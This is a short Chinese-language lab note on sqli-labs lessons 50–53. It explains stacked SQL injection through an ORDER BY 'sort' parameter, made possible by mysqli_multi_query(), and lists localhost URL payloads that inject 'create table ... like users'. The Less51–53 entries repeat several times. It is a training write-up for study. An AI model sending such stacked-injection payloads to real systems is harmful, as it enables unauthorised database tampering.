Less51闭合符号为单引号
http://127.0.0.1:666/sqli-labs/Less-51/?sort=1%27;%20create%20table%20less51%20like%20users--+
Less52 与Less50一致，无闭合符号，区别在于盲注无报错
127.0.0.1:666/sqli-labs/Less-52/?sort=1 ; create table less52 like users--+
Less53与Less51一致，闭合符号为单引号，区别在于盲注
http://127.0.0.1:666/sqli-labs/Less-53/?sort=1%27;%20create%20table%20less53%20like%20users--+
Less50，51，52，53【order by堆叠注入】
Less50与前面不同在于前面使用mysqli_query()，此函数只能执行一条sql语句，而less50使用的mysqli_multi_query()函数可以执行多个sql语句，也即是之前说的堆叠注入
Less50无闭合符号
http://127.0.0.1/sqli-labs-master/Less-50/?sort=1;create%20table%20less50%20like%20users#
Less51闭合符号为单引号
http://127.0.0.1:666/sqli-labs/Less-51/?sort=1%27;%20create%20table%20less51%20like%20users--+
Less52 与Less50一致，无闭合符号，区别在于盲注无报错
127.0.0.1:666/sqli-labs/Less-52/?sort=1 ; create table less52 like users--+
Less53与Less51一致，闭合符号为单引号，区别在于盲注
http://127.0.0.1:666/sqli-labs/Less-53/?sort=1%27;%20create%20table%20less53%20like%20users--+
Less51闭合符号为单引号
http://127.0.0.1:666/sqli-labs/Less-51/?sort=1%27;%20create%20table%20less51%20like%20users--+
Less52 与Less50一致，无闭合符号，区别在于盲注无报错
127.0.0.1:666/sqli-labs/Less-52/?sort=1 ; create table less52 like users--+
Less53与Less51一致，闭合符号为单引号，区别在于盲注
http://127.0.0.1:666/sqli-labs/Less-53/?sort=1%27;%20create%20table%20less53%20like%20users--+